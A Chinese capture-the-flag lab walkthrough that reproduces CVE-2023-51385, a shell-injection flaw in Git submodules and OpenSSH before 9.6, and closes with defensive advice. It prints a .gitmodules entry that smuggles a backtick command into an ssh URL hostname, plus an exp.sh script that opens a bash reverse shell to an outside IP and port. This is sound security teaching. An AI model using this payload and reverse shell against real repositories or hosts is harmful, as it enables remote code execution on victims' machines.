春秋云境CVE-2023-51385(保姆级教学)

**摘要:**本文详细复现了 Git 子模块 Shell 元字符注入漏洞(CVE-2023-XXXX)。该漏洞源于 OpenSSH 9.6 版本前,当 Git 处理包含 Shell 元字符(如 |、'、"、` 等)的子模块 URL 时,若 ssh_config 配置文件通过 %u/%h 参数引用这些未过滤的字符,将导致命令注入。文章通过流程图清晰展示了漏洞触发路径,并提供了从环境搭建(Gitee 仓库创建)、恶意配置构造(.gitmodules 注入)、攻击脚本编写(exp.sh)到最终触发漏洞获取 flag 的完整复现步骤。最后,文章总结了关键复现环节,并给出了升级 OpenSSH、输入验证、最小权限、代码审查等防御建议。

前言:Git 子模块 Shell 元字符注入漏洞概述

为了更好地理解漏洞触发流程,下面通过流程图展示攻击路径:

flowchart TD A[恶意子模块 URL ssh://`bash exp.sh`host/bar] --> B[Git 解析子模块配置] B --> C[调用 SSH 客户端连接] C --> D[ssh_config 引用 %u/%h 参数] D --> E{Shell 元字符注入} E -->|成功| F[命令执行] E -->|失败| G[连接失败] F --> H[获取服务器权限/flag] style A fill:#f9f,stroke:#333,stroke-width:2px style H fill:#ccf,stroke:#333,stroke-width:2px

流程图说明:攻击者构造包含 Shell 元字符的恶意子模块 URL,Git 在解析时会调用 SSH 客户端,ssh_config 配置文件中的 ProxyCommand、LocalCommand 或 "match exec" 谓词会引用 %u(用户名)和 %h(主机名)参数,当这些参数包含未过滤的 Shell 元字符时,就会导致命令注入,最终执行恶意命令获取权限。

本文旨在复现一个基于 Git 子模块的 Shell 元字符命令注入漏洞。该漏洞的核心原理是:当 Git 处理包含 Shell 元字符(如 |、'、" 等)的子模块用户或主机名时,如果这些元字符通过 ssh_config 中的 ProxyCommand、LocalCommand 指令或 "match exec" 谓词被引用,可能导致命令注入执行。

漏洞背景:OpenSSH 9.6 版本之前的 SSH 客户端存在一个安全问题。当用户名或主机名中含有 Shell 元字符,并且 ssh_config 配置文件通过 %u、%h 等扩展标记引用这些参数时,攻击者可能构造恶意输入实现命令注入。

核心漏洞点:Git 本身未对用户或主机名中的 Shell 元字符进行过滤。这意味着,如果一个 Git 存储库的子模块配置中包含了带有 Shell 元字符的用户名或主机名,当 Git 尝试克隆或更新该子模块时,可能触发命令注入漏洞。

复现目标:通过构造一个包含恶意 Shell 命令的子模块 URL,利用 Git 的 submodule 机制,在目标服务器上执行任意命令,最终获取 flag。

技术要点

  • 利用 Git 子模块配置中的 URL 字段注入 Shell 命令
  • 通过 ssh:// 协议触发 OpenSSH 的命令注入漏洞
  • 构造反弹 Shell 获取服务器权限

漏洞复现

启动靶场,我们会得到如下图所示的页面

接下来我们要进入gitee的页面

这里我们需要访问这个 URL

专业版 - Gitee 私有化

然后没有账号的小伙伴需要注册一个哟

这些都完成正常进入界面后第一步就是点击新建仓库

这里博主红色框框起来的可以随便起一个名字

这里我们需要点击初始化文件哟

这里我们点击加号然后新建子模块

这里给子模块设置一下,箭头部分的可以参考参考哟

这里我们点击 Web IDE

点击左边的 .gitmodules 然后输入代码

这里的 URL 要改回自己 i 春秋的那个哟

这里是博主刚刚修改的代码,各位可以复制然后稍微修改一下

复制代码
[submodule "cves"]
	path = cves
	url  = ssh://`bash exp.sh`eci-2ze803emjf7cbykgk20c.cloudeci1.ichunqiu.com/bar

接下来我们需要新建一个文件

这里名字一定要叫 exp.sh(文件名字要跟上面的代码保持一致)

输入如下代码

复制代码
bash -i >& /dev/tcp/152.136.201.53/7777 0>&1

然后到云服务器,开启监听

接下来我们点击创建提交

编辑这里我们点击这个加号让文件变成暂存的模式

这里我们随便输入信息即可,再点击提交

接下来刷新回到那个新建的界面,再然后就是点击克隆/下载这个标签

然后复制这个链接

去到靶场界面,粘贴,点击一键部署

这里我们会收到反弹 Shell,然后就是 cat /flag

到此我们就会得到 flag 了,恭喜各位宝子完成攻克了

总结与防御建议

本次复现关键步骤总结:

  1. 漏洞原理理解:掌握 Git 子模块配置中 URL 字段的 Shell 元字符注入原理,利用 OpenSSH 9.6 版本前的命令注入漏洞。
  2. 环境准备:注册 Gitee 账号并创建仓库,用于托管恶意子模块配置。
  3. 恶意配置构造 :在 .gitmodules 文件中注入包含 Shell 命令的 URL(如 ssh://`bash exp.sh`hostname/bar)。
  4. 攻击脚本编写:创建 exp.sh 文件,包含反弹 Shell 命令,用于在目标服务器上执行。
  5. 触发漏洞:通过 Git 克隆或更新包含恶意子模块的仓库,触发命令注入执行反弹 Shell。
  6. 权限获取:在攻击机开启监听,接收反弹 Shell 后获取服务器权限并读取 flag。

防御措施建议:

  • 升级 OpenSSH 版本:确保 OpenSSH 升级到 9.6 或更高版本,该版本已修复相关命令注入漏洞。
  • 输入验证与过滤:对 Git 子模块 URL 进行严格的输入验证,过滤或转义 Shell 元字符(如 |、'、"、`、$、&、; 等)。
  • 最小权限原则:限制 Git 服务运行账户的权限,避免使用高权限账户执行 Git 操作。
  • 代码审查:在团队协作中,对 .gitmodules 等配置文件进行代码审查,防止恶意配置被提交。
  • 安全扫描工具:使用 Git 安全扫描工具(如 gitleaks、truffleHog)定期检查仓库中的敏感信息和潜在漏洞。
  • 网络隔离:将 Git 服务器部署在内网环境,限制外部访问,减少攻击面。
  • 监控与告警:监控服务器上的异常命令执行和网络连接,设置告警机制。

通过以上防御措施,可以有效降低 Git 子模块 Shell 元字符注入漏洞的风险,保障代码仓库和服务器安全。

不懂的欢迎留言讨论

感谢各位宝贵的时间

期待下一篇 i 春秋的文章欢迎留言哟

期待你的一键三连,谢谢

相关推荐
晚风吹长发1 小时前
探索软件测试——用例篇
大数据·linux·服务器·压力测试·测试·测试方法
weishuangyun1231 小时前
小程序卖货平台搭建哪家好?专业卖货小程序服务商推荐
大数据
Elasticsearch2 小时前
一张图片胜过 1.5 倍的文字:我们从产品搜索 embeddings 基准测试中学到了什么
elasticsearch
一招合理2 小时前
Accordion:一种HBase内存压缩算法
大数据·数据库·hbase
Cloudtechnology2 小时前
GEO服务商哪家好?2026年头部服务商技术路线、行业适配与ROI数据全解析
大数据·人工智能
zyplayer-doc2 小时前
企业文档的进化:网盘和在线文档的下一个升级方向—知识库系统
java·大数据·数据库·人工智能·ocr
geneculture2 小时前
基于融智学范畴论、双重形式化与中文屋解密的第二代计算范式
大数据·人工智能·智慧系统·融智学的重要应用·融智时代(杂志)
清欢渡---2 小时前
HCIP-第五章vrrp
网络·网络安全·hcip